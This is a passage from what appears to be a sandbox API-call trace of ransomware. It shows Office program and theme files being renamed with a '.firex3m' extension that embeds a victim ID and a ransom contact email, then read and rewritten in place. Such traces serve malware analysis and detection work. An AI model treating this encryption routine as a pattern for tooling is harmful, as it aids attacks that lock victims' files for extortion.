hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0261.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\echo\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0261.106] GetProcessHeap () returned 0x630000 [0261.106] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5c1) returned 0x6868e0 [0261.106] GetProcessHeap () returned 0x630000 [0261.106] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5c1) returned 0x745c8c8 [0261.107] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.107] ReadFile (in: hFile=0x4e0, lpBuffer=0x6868e0, nNumberOfBytesToRead=0x5a0, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6868e0*, lpNumberOfBytesRead=0x50fff0c*=0x5a0, lpOverlapped=0x0) returned 1 [0261.133] GetProcessHeap () returned 0x630000 [0261.133] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0261.133] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.133] WriteFile (in: hFile=0x4e0, lpBuffer=0x745c8c8*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x745c8c8*, lpNumberOfBytesWritten=0x50fff0c*=0x5a0, lpOverlapped=0x0) returned 1 [0261.133] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.133] WriteFile (in: hFile=0x4e0, lpBuffer=0x745ce67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x745ce67*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0261.133] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.133] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0261.133] CloseHandle (hObject=0x4e0) returned 1 [0261.133] GetProcessHeap () returned 0x630000 [0261.133] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745c8c8 | out: hHeap=0x630000) returned 1 [0261.134] GetProcessHeap () returned 0x630000 [0261.134] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6868e0 | out: hHeap=0x630000) returned 1 [0261.134] GetProcessHeap () returned 0x630000 [0261.134] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0261.134] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.134] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6197dd86, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5d1, dwReserved0=0xa207496, dwReserved1=0x6868d8, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5380 [0261.134] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0261.134] Sleep (dwMilliseconds=0x1) [0261.201] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\CONCRETE.ELM", len=0x70 | out: pbstr=0x50fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\CONCRETE.ELM") returned 1 [0261.201] GetProcessHeap () returned 0x630000 [0261.201] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c78) returned 0x6fe3bb0 [0261.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\concrete\\concrete.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0261.315] CloseHandle (hObject=0x4f0) returned 1 [0261.315] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0261.315] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\concrete\\concrete.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\CONCRETE.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\concrete\\concrete.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0261.327] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.327] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\CONCRETE.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="CONCRETE.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CONCRE~2.FIR")) returned 0x6d5380 [0261.327] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0261.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\CONCRETE.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\concrete\\concrete.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0261.328] GetProcessHeap () returned 0x630000 [0261.328] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb1e1) returned 0x6ec0048 [0261.328] GetProcessHeap () returned 0x630000 [0261.328] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb1e1) returned 0x706cf78 [0261.329] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.329] ReadFile (in: hFile=0x4f0, lpBuffer=0x6ec0048, nNumberOfBytesToRead=0xb1c0, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec0048*, lpNumberOfBytesRead=0x50fff0c*=0xb1c0, lpOverlapped=0x0) returned 1 [0264.481] GetProcessHeap () returned 0x630000 [0264.481] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317090 [0264.481] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.481] WriteFile (in: hFile=0x4f0, lpBuffer=0x706cf78*, nNumberOfBytesToWrite=0xb1c0, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x706cf78*, lpNumberOfBytesWritten=0x50fff0c*=0xb1c0, lpOverlapped=0x0) returned 1 [0265.584] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.584] WriteFile (in: hFile=0x4f0, lpBuffer=0x7078137*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7078137*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0265.584] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.584] WriteFile (in: hFile=0x4f0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0265.584] CloseHandle (hObject=0x4f0) returned 1 [0265.584] GetProcessHeap () returned 0x630000 [0265.584] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706cf78 | out: hHeap=0x630000) returned 1 [0265.584] GetProcessHeap () returned 0x630000 [0265.584] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec0048 | out: hHeap=0x630000) returned 1 [0265.584] GetProcessHeap () returned 0x630000 [0265.584] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317090 | out: hHeap=0x630000) returned 1 [0265.584] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.584] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\CONCRETE.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x643f93cd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xb1fc, dwReserved0=0xa207496, dwReserved1=0x6ec0040, cFileName="CONCRETE.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CONCRE~2.FIR")) returned 0x6d5340 [0265.584] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0265.584] Sleep (dwMilliseconds=0x1) [0267.531] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE", len=0x67 | out: pbstr=0x50fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 1 [0267.539] GetProcessHeap () returned 0x630000 [0267.539] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b74) returned 0x6fe3bb0 [0267.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0267.541] CloseHandle (hObject=0x6a8) returned 1 [0267.541] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0267.541] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\eqnedt32.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\eqnedt32.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0267.542] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0267.542] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef9d49b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb950d65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x84a80, dwReserved0=0x740063, dwReserved1=0x73002d, cFileName="EQNEDT32.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EQNEDT~3.FIR")) returned 0x6d4e40 [0267.542] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0267.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\eqnedt32.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0267.542] GetProcessHeap () returned 0x630000 [0267.542] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74a9e90 [0267.543] GetProcessHeap () returned 0x630000 [0267.543] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74b52c0 [0267.544] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.544] ReadFile (in: hFile=0x6a8, lpBuffer=0x74a9e90, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74a9e90*, lpNumberOfBytesRead=0x50fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0275.772] GetProcessHeap () returned 0x630000 [0275.772] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73172c0 [0275.772] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0275.772] WriteFile (in: hFile=0x6a8, lpBuffer=0x74b52c0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74b52c0*, lpNumberOfBytesWritten=0x50fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0275.773] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0275.773] WriteFile (in: hFile=0x6a8, lpBuffer=0x74c06bf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74c06bf*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0275.775] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0275.775] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0275.775] CloseHandle (hObject=0x6a8) returned 1 [0275.775] GetProcessHeap () returned 0x630000 [0275.775] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74b52c0 | out: hHeap=0x630000) returned 1 [0275.775] GetProcessHeap () returned 0x630000 [0275.775] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74a9e90 | out: hHeap=0x630000) returned 1 [0275.775] GetProcessHeap () returned 0x630000 [0275.775] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73172c0 | out: hHeap=0x630000) returned 1 [0275.775] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0275.775] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef9d49b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb950d65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a519df7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x84aa4, dwReserved0=0xa207496, dwReserved1=0x74a9e88, cFileName="EQNEDT32.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EQNEDT~3.FIR")) returned 0x6d5580 [0275.776] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0275.776] Sleep (dwMilliseconds=0x1) Thread: id = 64 os_tid = 0x12d8 [0067.526] Sleep (dwMilliseconds=0x1) [0067.539] Sleep (dwMilliseconds=0x1) [0067.553] Sleep (dwMilliseconds=0x1) [0067.656] Sleep (dwMilliseconds=0x1) [0067.662] Sleep (dwMilliseconds=0x1) [0067.679] Sleep (dwMilliseconds=0x1) [0067.693] Sleep (dwMilliseconds=0x1) [0067.710] Sleep (dwMilliseconds=0x1) [0067.725] Sleep (dwMilliseconds=0x1) [0067.741] Sleep (dwMilliseconds=0x1) [0067.763] Sleep (dwMilliseconds=0x1) [0067.773] Sleep (dwMilliseconds=0x1) [0067.788] Sleep (dwMilliseconds=0x1) [0067.933] Sleep (dwMilliseconds=0x1) [0068.043] Sleep (dwMilliseconds=0x1) [0068.146] Sleep (dwMilliseconds=0x1) [0068.283] Sleep (dwMilliseconds=0x1) [0068.393] Sleep (dwMilliseconds=0x1) [0068.493] Sleep (dwMilliseconds=0x1) [0068.545] Sleep (dwMilliseconds=0x1) [0068.698] Sleep (dwMilliseconds=0x1) [0068.747] Sleep (dwMilliseconds=0x1) [0068.793] Sleep (dwMilliseconds=0x1) [0068.842] Sleep (dwMilliseconds=0x1) [0068.884] Sleep (dwMilliseconds=0x1) [0068.934] Sleep (dwMilliseconds=0x1) [0068.976] Sleep (dwMilliseconds=0x1) [0069.047] Sleep (dwMilliseconds=0x1) [0069.105] Sleep (dwMilliseconds=0x1) [0069.158] Sleep (dwMilliseconds=0x1) [0069.198] Sleep (dwMilliseconds=0x1) [0069.249] Sleep (dwMilliseconds=0x1) [0069.293] Sleep (dwMilliseconds=0x1) [0069.377] Sleep (dwMilliseconds=0x1) [0069.435] Sleep (dwMilliseconds=0x1) [0069.482] Sleep (dwMilliseconds=0x1) [0069.523] Sleep (dwMilliseconds=0x1) [0069.688] Sleep (dwMilliseconds=0x1) [0069.920] Sleep (dwMilliseconds=0x1) [0070.146] Sleep (dwMilliseconds=0x1) [0070.263] Sleep (dwMilliseconds=0x1) [0070.381] Sleep (dwMilliseconds=0x1) [0070.535] Sleep (dwMilliseconds=0x1) [0070.869] Sleep (dwMilliseconds=0x1) [0071.570] Sleep (dwMilliseconds=0x1) [0071.941] Sleep (dwMilliseconds=0x1) [0072.409] Sleep (dwMilliseconds=0x1) [0072.603] Sleep (dwMilliseconds=0x1) [0072.803] Sleep (dwMilliseconds=0x1) [0072.951] Sleep (dwMilliseconds=0x1) [0073.103] Sleep (dwMilliseconds=0x1) [0073.538] Sleep (dwMilliseconds=0x1) [0073.724] Sleep (dwMilliseconds=0x1) [0073.933] Sleep (dwMilliseconds=0x1) [0074.046] Sleep (dwMilliseconds=0x1) [0074.178] Sleep (dwMilliseconds=0x1) [0074.384] Sleep (dwMilliseconds=0x1) [0074.668] Sleep (dwMilliseconds=0x1) [0074.775] Sleep (dwMilliseconds=0x1) [0074.845] Sleep (dwMilliseconds=0x1) [0074.905] Sleep (dwMilliseconds=0x1) [0075.000] Sleep (dwMilliseconds=0x1) [0075.060] Sleep (dwMilliseconds=0x1) [0075.106] Sleep (dwMilliseconds=0x1) [0075.157] Sleep (dwMilliseconds=0x1) [0075.216] Sleep (dwMilliseconds=0x1) [0075.264] Sleep (dwMilliseconds=0x1) [0075.304] Sleep (dwMilliseconds=0x1) [0075.362] Sleep (dwMilliseconds=0x1) [0075.427] Sleep (dwMilliseconds=0x1) [0075.513] Sleep (dwMilliseconds=0x1) [0075.568] Sleep (dwMilliseconds=0x1) [0075.612] Sleep (dwMilliseconds=0x1) [0075.699] Sleep (dwMilliseconds=0x1) [0075.744] Sleep (dwMilliseconds=0x1) [0075.793] Sleep (dwMilliseconds=0x1) [0075.830] Sleep (dwMilliseconds=0x1) [0075.843] Sleep (dwMilliseconds=0x1) [0076.043] Sleep (dwMilliseconds=0x1) [0076.064] Sleep (dwMilliseconds=0x1) [0076.081] Sleep (dwMilliseconds=0x1) [0076.108] Sleep (dwMilliseconds=0x1) [0076.185] Sleep (dwMilliseconds=0x1) [0076.393] Sleep (dwMilliseconds=0x1) [0076.529] Sleep (dwMilliseconds=0x1) [0076.673] Sleep (dwMilliseconds=0x1) [0076.709] Sleep (dwMilliseconds=0x1) [0076.779] Sleep (dwMilliseconds=0x1) [0076.800] Sleep (dwMilliseconds=0x1) [0076.847] Sleep (dwMilliseconds=0x1) [0076.873] Sleep (dwMilliseconds=0x1) [0076.918] Sleep (dwMilliseconds=0x1) [0076.987] Sleep (dwMilliseconds=0x1) [0077.073] Sleep (dwMilliseconds=0x1) [0077.151] Sleep (dwMilliseconds=0x1) [0077.219] Sleep (dwMilliseconds=0x1) [0077.291] Sleep (dwMilliseconds=0x1) [0077.357] Sleep (dwMilliseconds=0x1) [0077.415] Sleep (dwMilliseconds=0x1) [0077.518] Sleep (dwMilliseconds=0x1) [0077.600] Sleep (dwMilliseconds=0x1) [0077.646] Sleep (dwMilliseconds=0x1) [0077.691] Sleep (dwMilliseconds=0x1) [0077.734] Sleep (dwMilliseconds=0x1) [0077.784] Sleep (dwMilliseconds=0x1) [0077.830] Sleep (dwMilliseconds=0x1) [0077.859] Sleep (dwMilliseconds=0x1) [0077.909] Sleep (dwMilliseconds=0x1) [0077.961] Sleep (dwMilliseconds=0x1) [0077.979] Sleep (dwMilliseconds=0x1) [0077.997] Sleep (dwMilliseconds=0x1) [0078.088] Sleep (dwMilliseconds=0x1) [0078.115] Sleep (dwMilliseconds=0x1) [0078.136] Sleep (dwMilliseconds=0x1) [0078.190] Sleep (dwMilliseconds=0x1) [0078.226] Sleep (dwMilliseconds=0x1) [0078.235] Sleep (dwMilliseconds=0x1) [0078.255] Sleep (dwMilliseconds=0x1) [0078.269] Sleep (dwMilliseconds=0x1) [0078.288] Sleep (dwMilliseconds=0x1) [0078.311] Sleep (dwMilliseconds=0x1) [0078.362] Sleep (dwMilliseconds=0x1) [0078.376] Sleep (dwMilliseconds=0x1) [0078.515] Sleep (dwMilliseconds=0x1) [0078.534] Sleep (dwMilliseconds=0x1) [0078.562] Sleep (dwMilliseconds=0x1) [0078.612] Sleep (dwMilliseconds=0x1) [0078.625] Sleep (dwMilliseconds=0x1) [0078.648] Sleep (dwMilliseconds=0x1) [0078.657] Sleep (dwMilliseconds=0x1) [0078.678] Sleep (dwMilliseconds=0x1) [0078.708] Sleep (dwMilliseconds=0x1) [0078.720] Sleep (dwMilliseconds=0x1) [0078.739] Sleep (dwMilliseconds=0x1) [0078.753] Sleep (dwMilliseconds=0x1) [0078.770] Sleep (dwMilliseconds=0x1) [0078.785] Sleep (dwMilliseconds=0x1) [0078.838] Sleep (dwMilliseconds=0x1) [0078.885] Sleep (dwMilliseconds=0x1) [0078.895] Sleep (dwMilliseconds=0x1) [0078.927] Sleep (dwMilliseconds=0x1) [0078.946] Sleep (dwMilliseconds=0x1) [0078.956] Sleep (dwMilliseconds=0x1) [0078.979] Sleep (dwMilliseconds=0x1) [0079.002] Sleep (dwMilliseconds=0x1) [0079.032] Sleep (dwMilliseconds=0x1) [0079.049] Sleep (dwMilliseconds=0x1) [0079.080] Sleep (dwMilliseconds=0x1) [0079.098] Sleep (dwMilliseconds=0x1) [0079.117] Sleep (dwMilliseconds=0x1) [0079.129] Sleep (dwMilliseconds=0x1) [0079.160] Sleep (dwMilliseconds=0x1) [0079.224] Sleep (dwMilliseconds=0x1) [0079.251] Sleep (dwMilliseconds=0x1) [0079.269] Sleep (dwMilliseconds=0x1) [0079.287] Sleep (dwMilliseconds=0x1) [0079.300] Sleep (dwMilliseconds=0x1) [0079.316] Sleep (dwMilliseconds=0x1) [0079.330] Sleep (dwMilliseconds=0x1) [0079.348] Sleep (dwMilliseconds=0x1) [0079.361] Sleep (dwMilliseconds=0x1) [0079.388] Sleep (dwMilliseconds=0x1) [0079.418] Sleep (dwMilliseconds=0x1) [0079.421] Sleep (dwMilliseconds=0x1) [0079.449] Sleep (dwMilliseconds=0x1) [0079.513] Sleep (dwMilliseconds=0x1) [0079.544] Sleep (dwMilliseconds=0x1) [0079.604] Sleep (dwMilliseconds=0x1) [0079.610] Sleep (dwMilliseconds=0x1) [0079.630] Sleep (dwMilliseconds=0x1) [0079.641] Sleep (dwMilliseconds=0x1) [0079.661] Sleep 